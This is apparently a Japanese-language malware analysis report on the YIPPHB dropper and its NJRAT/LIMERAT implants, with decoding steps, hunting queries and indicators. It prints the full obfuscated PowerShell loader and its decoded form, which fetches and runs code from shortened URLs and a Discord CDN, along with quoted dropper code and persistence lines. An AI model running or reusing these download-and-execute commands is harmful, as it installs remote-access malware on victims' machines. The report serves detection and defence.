重要なポイント
- Elastic Security Labs は、Base64 でエンコードされた文字列を Unicode アイコンでスレッド化して YIPPHB ドロッパーをロードするという同様の TTP を使用しているアクティビティのクラスターを 12 特定しました。
- YIPPHB は、少なくとも 2022 年 5 月以降に RAT インプラントを送達するために使用されていた、単純だが効果的なスポイトです。
- 最初のアクセスでは、Powershell に埋め込まれた Unicode アイコンを使用して、自動分析を遅らせようとします。
前文
Elastic Security Labs はテレメトリ データをレビューしているときに、Powershell の実行中に異常な引数を特定しました。さらに詳しく調べたところ、Base64 でエンコードされた文字列内で Unicode アイコンが使用されていることが判明しました。アイコンを ASCII 文字に置き換えるために、置換メカニズムが使用されました。
アイコンが ASCII 文字に置き換えられると、Base64 でエンコードされたファイルと逆 URL を収集する反復プロセスを使用して、ドロッパーとフル機能のマルウェア インプラントが実行されました。ドロッパーとマルウェア インプラントは、後にそれぞれ YIPPHB と NJRAT であると特定されました。
この研究は、次の点に焦点を当てました。
- ローダーフェーズ
- ドロッパーフェーズ
- RATフェーズ
- アクティビティクラスター
- ネットワークインフラストラクチャ
- ハンティングクエリ
分析
この侵入セットの分析では、PowerShell コマンドの自動分析を回避することを目的とした、初歩的かつ規範的な難読化手法が説明されています。
ローダーフェーズ
Elastic のテレメトリで Powershell コマンドを分析しているときに、Powershell コマンドに Unicode アイコンが埋め込まれていることを確認しました。Unicode を使用して Powershell コマンドを難読化する手法は、私たちが確認したことはありません。
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwATIK8ArwATIBMgrwATIBMgrwCvACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AGkAbgB5AH⌚⌚⌚AcgBsAC4AYwBvAG0ALwAyAG⌚⌚⌚AcgBwAGgANgBjAHMAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG⌚⌚⌚AdAB⌚⌚⌚AHkAcABlACgAJwBOAHcAZwBvAHgATQAuAEsA⌚⌚⌚ABKAGEATgBqACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBQAF⌚⌚⌚AbABHAEsAQQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuADAAMAAwADgAdABjAG8AMAAxAC8AMQA3ADkAOAAxADIAOAAyADQAOQAzADgAMgA4ADgANAAzADAAMQAvADMAMgA1ADkANwAxADkAMgA0ADkAOQA2ADMANgA1ADYANQA5AC8AcwB0AG4AZQBtAGgAYwBhAHQAdABhAC8AbQBvAGMALgBwAHAAYQBkAHIAbwBjAHMAaQBkAC4AbgBkAGMALwAvADoAcwBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwAQEMwGJwbMBicAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('-¯¯--¯--¯¯', '[redacted].vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
この手法は、アイコンを ASCII 文字に置き換えるだけなのでそれほど複雑ではありませんが、創造的です。この手法では、Powershell コマンドが完全に実行されるか、分析ワークフローを利用して Unicode および置換関数を処理しない限り、Base64 でエンコードされた文字列の自動分析が遅れる可能性があります。
Powershellコマンドを調べると、Unicodeの時計アイコン(⌚⌚⌚)をUに置き換える簡単なプロセスが見つかりました。何が起こっているのかを説明するために、GCHQが作成したデータ分析ツール「CyberChef」を使用することができます。
「検索/置換」、「Base64 デコード」、「テキストのデコード (UTF-16LE)」レシピをロードすることで、Powershell 文字列をデコードできます。
デコードされた文字列内で、ローダー、後続ドロッパー、およびインプラントがどのようにインストールされるかがわかります。
$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
ローダーはhttps://tinyurl[.]com/2erph6csからダウンロードされます。TinyURL は人気の URL 短縮サービスであり、非常に正当な用途がある一方で、通常のネットワーク トラフィックに紛れ込む悪意のある URL を隠すために悪用される可能性もあります。
TinyURL を展開するには、 Unshorten.meの JSON API エンドポイントを使用できます。
$ curl https://unshorten.me/json/tinyurl[.]com/2erph6cs
{
"requested_url": "tinyurl[.]com/2erph6cs",
"success": true,
"resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023798426636402818/dllsica.txt",
"usage_count": 3,
"remaining_calls": 8
}
Discord コンテンツ配信ネットワークからdllsica.txt をダウンロードすると、別の Base64 エンコードされた文字列が提供されました。以前の Powershell 文字列とは異なり、 dllsica.txtからの文字列は置換なしで簡単にデコードできます。
cat 、 base64 、 xxd 、 headコマンドラインツールを使用すると、ファイルヘッダーに 16 進数値4d5aと MZ マジックナンバーが含まれていることがわかります。これにより、PE ファイルを分析していることが確認されます。
- cat - ファイルを連結する
- base64 -D - -Dスイッチはbase64でエンコードされたファイルをデコードします
- xxd - 入力の16進ダンプを作成する
- head - ファイルの最初の 10 行を返します
$ cat dllsica.txt | base64 -D | xxd | head
00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000 MZ..............
00000010: b800 0000 0000 0000 4000 0000 0000 0000 ........@.......
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000030: 0000 0000 0000 0000 0000 0000 8000 0000 ................
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468 ........!..L.!Th
00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f is program canno
...truncated...
次に、バイナリの難読化を解除し、ディスクに書き込み、SHA-256 ハッシュを生成しました。
- ファイル- ファイルの種類を確認する
- shasum -a 256 - -a 256 スイッチは256ビットハッシュアルゴリズムを使用します
$ cat dllsica.txt | base64 -D > dllsica.bin
$ file dllsica.bin
dllsica.bin: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
$ shasum -a 256 dllsica.bin
49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2
ローダーが収集されたので、クラスNwgoxM.KPJaN内のメソッドPUlGKAが実行されます。元のBase64デコード文字列から
…truncated…
GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]]
...truncated…:
ネイティブにサポートされている VBscript としてユーザーのスタートアップ フォルダーに自身をコピーすることでアクセスを維持するこのローダーに関する今後の調査を公開する可能性があります。
FileSystem.FileCopy(RodaCopy, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + NameCopy + ".vbs");
ドロッパーフェーズ
上記のローダーの実行画像から、ローダーが逆の変数( text = bdw6ufv4/moc[.]lruynit//:sptth )を使用していることがわかります。TinyURL を使用して追加ファイルをダウンロードします。コマンドラインツールrev を使用すると、逆 URL を修正できます。
$ echo "bdw6ufv4/moc.lruynit//:sptth" | rev
https://tinyurl[.]com/4vfu6wd
Unshorten.me JSON API エンドポイントを使用して TinyURL を展開し、ドロッパーのダウンロード場所を特定できます。
$ curl https://unshorten.me/json/tinyurl[.]com/4vfu6wd
{
"requested_url": "tinyurl[.]com/4vfu6wd",
"success": true,
"resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023796278213234758/pesica.txt",
"usage_count": 2,
"remaining_calls": 9
}
別のエンコードされたファイルが Discord からダウンロードされます: pesica.txt 。この記事の執筆時点では、VirusTotal はこのファイルの検出を報告していません。
dllsica.binからの手がかりから、 pesica.txt はUTF-8 エンコードを使用していることがわかります。ファイルをさらに分析するには、 ▒▒▒▒ の値をAに置き換え、結果の文字列を Base64 でデコードする必要があります。
…truncated…
string text = "bdw6ufv4/moc[.]lruynit//:sptth";
string text2 = new WebClient
{
Encoding = Encoding.UTF8
}.DownloadString(Strings.StrReverse(text));
text2 = Strings.StrReverse(text2);
text2 = text2.Replace("▒▒▒▒", "A");
string text3 = new WebClient().DownloadString(Strings.StrReverse(_5));
text3 = Strings.StrReverse(text3);
…truncated…
{
text4 + "\\InstallUtil.exe",
Convert.FromBase64String(text3)
});
…truncated…
CyberChef を使用すると、レシピをスタックしてこれらの機能を実行できます。
pesica.txtをデコードしたら、ハッシュbba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cfを計算します。pesica.txtのデコードされた出力には、 YippHBモジュール名が表示されます。
...truncated...
ToInt16
<Module>
YippHB
ResumeThread_API
...truncated...
このモジュール名は、YIPPHB のドロッパー名の由来です。YIPPHB はもともとセキュリティ研究者のPaul Melsonによって発見されました。ポールは 2022 年 10 月にオーガスタ BSides セキュリティ カンファレンスでこのドロッパーを公表しました。
YIPPHB ドロッパーは、 Installutil.exeコマンドライン ユーティリティを使用して実行され、RAT フェーズを開始します。
次のフェーズを RAT フェーズと呼びます。このフェーズで収集できたバイナリはすべて RAT インプラント (NJRAT、LIMERAT、および ASYNCRAT) でしたが、この侵入セットはモジュール式であるため、あらゆるタイプのインプラントを使用できます。
RATフェーズ
YIPPHB ドロッパーが実行されると、元の Unicode アイコン スクリプトの 2 番目の部分を取得して、RAT インプラントをインストールします。
…truncated…
('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
RAT はhttps://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txtから取得されました。これは、txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptthから逆コンパイルされたものです。
10oct8000.txtファイルを見ると、逆順に Base64 でエンコードされたファイルであることがわかります。
=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…truncated…
このファイルを修正し、コマンドライン ツールrevとbase64を使用して Base64 デコードし、出力を10oct8000.binとして保存できます。
$ cat 10oct8000.txt | rev | base64 -D > 10oct8000.bin
10oct8000.binの SHA256 ハッシュは1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3です。このファイルは、VirusTotal ではLIMERATまたはNJRATマルウェア ファミリの亜種として報告されています (ソースによって異なります)。
ローダーや YIPPHB ドロッパーと同様に、RAT の基本的な機能をいくつか確認しますが、完全にリバースするわけではありません。これらの機能を調査した結果 、 このサンプルをNJRATまたはLIMERATと関連付ける以前の研究が見つかりました( 1、2 )。
RAT は、コマンド アンド コントロール サーバーに接続し直して実行ルーチンを開始します。別のスレッドでは、キーロガー ルーチンも開始し、可能な限り多くの情報を収集します。
コマンド アンド コントロール サーバーに接続するために、RAT はグローバル変数としてリストされている構成情報を使用します。victimName変数( TllBTiBDQVQ= )はBase64でエンコードされた文字列で、「NYAN CAT」にデコードされます。既知の NJRAT コード ベースとのコードの類似性に基づき、この C2 構成情報は、これが NJRAT に関連しているという確信を強めます。
RAT がコマンドをリッスンしているコマンド アンド コントロール サーバーに接続されている場合、次の追加情報を送信します。
- 被害者名 ( vn )
- ハードウェアID
- ユーザー名
- OSフルネーム
- OSバージョン サービスパック
- Program FilesフォルダがX86で終わるかどうか
- ウェブカメラがある場合
- ウィンドウ名
- レジストリの権限チェック
C2 サーバーに正常に接続すると、オペレーターは一連のコマンドを通じてインプラントと対話できるようになります。セキュリティ研究者のヒド・コーエン氏とサイバーマスターV氏は、これらのコマンドとRATの全体的な機能について、こことここで詳しく説明しています。
アクティビティクラスター
テレメトリ データを通じて追加の検索を実行し、いくつかのアクティビティ クラスターを特定することができました。以下に EQL クエリを示します。
intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")
このクエリにより、Unicode 文字と置換関数の両方を使用する Powershell アクティビティを識別することができました。
これらの結果を見ると、変数名と Unicode アイコンを組み合わせてアクティビティをクラスタ化することができました。この初期調査のソースとなった例では、1 つのクラスターは変数iUqmと ⌚⌚⌚Unicode アイコンになります。
| クラスターID | 変数 | Unicodeアイコン + 数字 | 有病率(四捨五入) |
|---|---|---|---|
| 1 | ngfYq | ❞ (U+275E) | 1% |
| 2 | コディゴ | ❤ (U+2764) | 1% |
| 3 | ウクム | ⌚ (U+231A) | 9% |
| 4 | ウクム | ⚔ (U+2694) | 6% |
| 5 | コディゴ | ⁂ (U+2042) | 62% |
| 6 | ウクム | ✌ (U+270C) | 1% |
| 7 | コディゴ | ⏏ (U+23CF) | 1% |
| 8 | Cg1O | ☈ (U+2608) | 5% |
| 9 | コディゴ | ♔ (U+2654) | 10% |
| 10 | ウクム | ﭏ (U+FB4F) | 1% |
| 11 | コディゴ | _*/}+/_= | 1% |
| 12 | ウクム | ☈ (U+2608) | 2% |
注目すべきは、クラスター 11 は他のクラスターと同じ手法をすべて使用していますが、置換用の Unicode アイコンの代わりに、一連の ASCII 文字 ( _*/}+/_= ) を使用していることです。侵入は同じように動作し、このクラスターが Unicode アイコンの使用から逸脱した理由は不明です。
ネットワークデータの収集と解析
この侵入セットの分析を拡大するために、プロセスからローダーとドロッパーでエンコードされたURLの抽出を自動化したいと考えました。フィールドと、RAT インプラントによって使用される後続の C2。
ローダーとドロッパー
Loader フェーズと Dropper フェーズで説明したように、Base64 でエンコードされた文字列は、Unicode アイコンを置き換えて反転およびデコードする必要があります。このプロセスの後、最初の URL はすぐに使用できるようになりますが、2 番目の URL は再度元に戻す必要があります。
Powershell コマンド自体の実行を回避するには、テキスト処理ツールawk を利用できます。以下では分析方法の詳細を説明します。また、参考のために分析をすべて網羅したシェル スクリプトも提供します。
まず、コマンド ラインでデータにアクセスし、それをawkにパイプする必要があります。私たちは、まさにそれを実現するための eql-query という ツール(および lucene-query という別のツール) を公開しました。
eql-queryを使用すると、EQLクエリを実行して過去180日間の結果を取得し、 process.command_lineのみを取得できます。分野。コマンドラインからこれを行う利点は、データをさらに解析し、興味のある追加の文字列を取り出すことができることです。
eql-query --since 'now-180d/d' --size=1000 --compact --fields 'process.command_line' 'intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")'
次に、 jq '._source.process.command_line' -r | awkを使用して、 jqで生の文字列をawkに渡します。
これを反復的に実行する場合は、 eql-queryからの結果をファイルに書き込み、パイプラインが希望どおりになるまでその結果をローカルで操作するのが最適です。
次のステップは、Powershell の置換コマンドで使用される文字列をキャプチャして、その機能を自分で実行できるようにすることです。awk を使用してこれを行う最良の方法は、正規表現を使用してキャプチャすることです。
これは、置換する最初の引数と 2 番目の引数に一致します。最初の引数は Unicode であり、 awkパターンとしては使いにくい可能性があるため、最初にエスケープする必要があります。置換が完了したら、「クリーン」なコード、検索する文字列、置換テキストを出力します。
function escape_string( str ) {
gsub(/[\\.^$(){}\[\]|*+?]/, "\\\\&", str)
return str
}
{
match($0, /replace\('\''(.*)'\'' *, *'\''(.*)'\''/, arr);
str=escape_string(arr[1]);
rep=arr[2];
print gensub(str, rep, "g")
}
最後に、Base64 コードをgrep で抽出し (別の正規表現を使用)、難読化された Powershell スクリプトを明らかにします。
grep -oP ''\''\K[A-Za-z0-9+/]+={0,2}(?='\'';)'
これにより、上記のローダー、ドロッパー、および RAT フェーズで概説した手動変換プロセスが自動化されます。
$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
このテキストから URL を解析するには、別の単純なawkマッチを実行し、その後 2 番目の URL を反転する必要がありますが、Powershell のデフォルトのエンコードはUTF-16LEであり、 awk はUTF-8または ASCII エンコードのみをサポートします。iconvと呼ばれるツールは必要な変換を実行できます。
echo "${line}" | base64 -d | iconv -f UTF-16 -t UTF-8 | awk '{ if ( match($0, /'\''([^'\'']+\/\/:s?ptth)'\''/, arr)) { n=split(arr[1],arr2,""); for(i=1;i<=n;i++){s=arr2[i] s}; print s}; if ( match($0, /'\''(https?:\/\/[^'\'']+)'\''/, arr)){ print arr[1] } }'
変換したら、残りは簡単な解析です。出力には、 url1 、 url2 、および Unicode 文字列のコピーとその置換が含まれます。URL は、それぞれ各コード サンプルの順方向 URL と逆方向 URL です。
| ユニコードアイコン | 交換 | url1 | url2 |
|---|---|---|---|
| ⌚⌚⌚ | あなた | https://tinyurl[.]com/2erph6cs | https://cdn.discordapp[.]com/...truncated.../10oct8000.txt |
| ⌚⌚⌚ | あなた | http://91.241.19[.]49/ARTS/dllf3txt | http://91.241.19[.]49/test/new/ZX1.txt |
| ⁂ | あ | http://20.231.55[.]108/dll/06-07-2022.PDF | http://212.192.246[.]226/dsaffdffa.txt |
さらに詳しい情報や、独自のデータに対して試すには、すべてを組み合わせたシェル スクリプトを参照してください。
ローダーとドロッパーの URL の収集と解析が自動化されたので、RAT インフラストラクチャに進むことができます。
ねずみ
元の PowerShell スクリプトからも明らかなように、RAT は追加のネットワーク インフラストラクチャを使用していることがわかります。これを列挙するには、ドロッパーと同様に RAT をプルダウンし、前の手順で出力されたurl1とurl2ごとに一意の URL セットを取得し、各リストをループして、 curl を使用してダウンロードする必要があります。
このプロセスでは、敵対者が所有または管理するインフラストラクチャと対話する必要があります。敵対者のインフラストラクチャとやり取りするには、すべての組織が実行できるわけではない規律ある準備が必要です。法的な考慮事項、防御ネットワークの出口ポイント、サンドボックス、インテリジェンス獲得/損失戦略などについて十分な知識がない場合は、以下が参考として提示されます。
ローダーはダウンロードしたファイルをディスクに保存することはなく、ファイル名が常に存在するとは限らないため、サンプルを追跡するには、単純なカウンターを使用します。これにより、次の単純なループが作成されます。
ctr=1
for line in $(cat ../url-1.txt); do
curl -v -A "${USER_AGENT}" -o "file-${ctr}" -L --connect-timeout 10 "${line}" 2>>"log-${ctr}.txt"
ctr=$((ctr + 1))
done
-v を使用してリクエスト ヘッダーとレスポンス ヘッダーをキャプチャし、 -L を使用してリダイレクトに従い、 --connect-timeout を使用してインフラストラクチャがダウンしているときにプロセスを高速化します。最後に、 curl出力をログ ファイルに保存します。ダウンロードされたファイルはfile-Xとして保存されます。ここで、 Xはカウンターの値です。
ダウンロードされた RAT ファイルはすべて Base64 でエンコードされています。fileコマンドを使用して、有効な Base64 エンコードされたファイルを識別できます。Base64 でエンコードされたファイルは、「非常に長い行 (長さ) を持つ、行末文字のない ASCII テキスト」として識別されます。長さはファイル サイズです。この言語に一致するファイルはデコードされ、 .dllで保存されます。拡大。
for entry in $(file file-?? | awk -F": " '$2 ~ /^ASCII text.*very long lines/ {print $1}'); do
rev <"${entry}" | base64 -d >"${entry}.dll"
done
RAT バイナリを入手したので、それらに対して一般的な静的分析を実行できます。VirusTotal コマンドライン ツールがあり、API クエリを実行できる場合は、保存されているすべてのdllファイルに対して別の単純なループを実行して既知のファイルを検索します。
for entry in *.dll; do
hash=$(sha256sum "${entry}" | awk '{print $1}')
vt search "${hash}" >"${entry}.vt.yml"
done
出力を見ると、 0バイトのymlファイル ( vtコマンドの出力) は一致がないことを意味することがわかります。これらのファイルは VirusTotal では不明です。この出力では、 file-30.dll 、 file-31.dll 、およびfile-34.dllが VirusTotal に認識されていないことがわかります。
$ ls -s *.dll{,.vt.yml}
32 file-28.dll
32 file-28.dll.vt.yml
32 file-30.dll
0 file-30.dll.vt.yml
32 file-31.dll
0 file-31.dll.vt.yml
468 file-34.dll
0 file-34.dll.vt.yml
48 file-35.dll
40 file-35.dll.vt.yml
80 file-38.dll
36 file-38.dll.vt.yml
最後に実行する分析は、DLL からドメイン名をダンプしてみることです。多くの実行可能ファイル形式では、 stringsコマンドでその情報を提供できます。残念ながら、これらの DLL のほとんどは .Net アセンブリであり、 stringsコマンドを使用して .Net アセンブリから文字列を抽出することはできません。次の例のように、 fileコマンドを使用すると、これらを識別するのに役立ちます。
$ file file-31.dll
file-31.dll: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
.Net の利点は簡単に逆アセンブルできることであり、Mono プロジェクトではまさにそのためのツールikdasmを提供しています。これにより、ドメイン名または HTTP URL への参照を検索するための最終ループが実現します。
for item in *.dll; do
ikdasm "${item}" | grep -E '(\.(org|com|net|ly))|((yl|ten|moc|gro)\.)|("http|ptth")';
Done
詳細については、この第 2 段階の分析をまとめたシェル スクリプトを参照してください。
ダイヤモンドモデル
Elastic Security utilizes the Diamond Model to describe high-level relationships between adversaries and victims of intrusions.
観察された敵対者の戦術と手法
Elasticは、MITRE ATT&CKフレームワークを使用して、企業ネットワークに対してAdvanced Persistent Threatが使用する一般的な戦術、手法、手順を文書化しています。
戦術(Tactics)
戦術は、テクニックまたはサブテクニックの理由を表します。 それは敵の戦術的な目標であり、行動を実行する理由です。
テクニック/サブテクニック(Techniques / Sub Techniques)
テクニックとサブテクニックは、敵がアクションを実行することによって戦術的な目標を達成する方法を表します。
- インフラストラクチャを取得する
- ステージ機能: マルウェアのアップロード
- ブートまたはログオン時の自動実行: レジストリ実行キー / スタートアップフォルダ
- コマンドおよびスクリプトインタープリタ: Visual Basic
- コマンドとスクリプト インタープリター: PowerShell
- システムバイナリプロキシ実行: InstallUtil
- ファイルまたは情報の難読化
検知のロジック
行動ルール
- 署名付きバイナリプロキシによるWebServiceへの接続
- Suspicious PowerShell Execution
- 異常なファイル拡張子によるプロセス実行
- スタートアップフォルダに書き込まれたスクリプトファイル
- Windowsスクリプト経由の不審なPowerShell実行
- 署名されていないバイナリによるダイナミックDNSプロバイダーへの接続
ハンティングクエリ
Powershell で Unicode を識別するには、KQL または EQL クエリのいずれかを使用します。
KQL と EQL の両方のイベントは、Elastic Defend 統合を使用して Elastic Agent で提供されます。
KQL query
Kibana の Discover アプリを使用すると、以下のクエリで Unicode 文字列を使用した Powershell の使用を識別できます。これにより、この調査のすべてのイベントが特定されましたが、REF4526 侵入セットの一部ではない他のイベントも特定されました。
先行するワイルドカード ( * ) を使用すると、多数のイベントを検索するときにコストが高くなる可能性があります。
process.pe.original_file_name : "PowerShell.EXE" and process.command_line : (*Unicode.GetString* and *replace*)
EQLクエリ
このクエリは、Kibana のセキュリティ ソリューションのタイムライン セクションの「相関」タブを使用して、Unicode 文字列と置換関数を使用した Powershell の使用を識別します。これにより、観測されたすべての REF4526 イベントが特定されました。
intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")
参照資料
上記の研究を通じて、以下のことが参照されました。
- https://github.com/pmelson/bsidesaugusta_2022/blob/main/unk.yara
- https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat
- https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat
- https://neonprimetime.blogspot.com/2018/10/njrat-lime-ilspy-decompiled-code-from.html
- https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/
- https://github.com/NYAN-x-CAT/njRAT-0.7d-Stub-CSharp/blob/master/njRAT%20C%23%20Stub/Program.cs
- https://hidocohen.medium.com/njrat-malware-analysis-198188d6339a
- https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/
オブザーバブル
すべてのオブザーバブルは、ECS形式とSTIX形式の両方で、結合されたzipバンドルで ダウンロード することもできます。
この研究では、次の観測量について議論しました。
| すぐれた監視性 | タイプ | 参考 | Note |
|---|---|---|---|
| 49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2 | SHA-256の | dllsica.bin | 初期ローダー |
| bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cf | SHA-256の | ペシカ.bin | YIPPHBダウンローダー |
| 1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3 | SHA-256の | 8000年10月10日 | NJRATインプラント |
https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txt | URL | ローダーフェーズ | NJRATのダウンロード場所 |
https://tinyurl[.]com/2erph6cs | URL | ローダーフェーズ | REF4526 ローダーのダウンロード場所 |
https://tinyurl[.]com/4vfu6wd | URL | ドロッパーフェーズ | YIPPHBのダウンロード場所 |
| wins10ok.duckdns[.]org | ドメイン名 | NJRAT C2 | NAの |
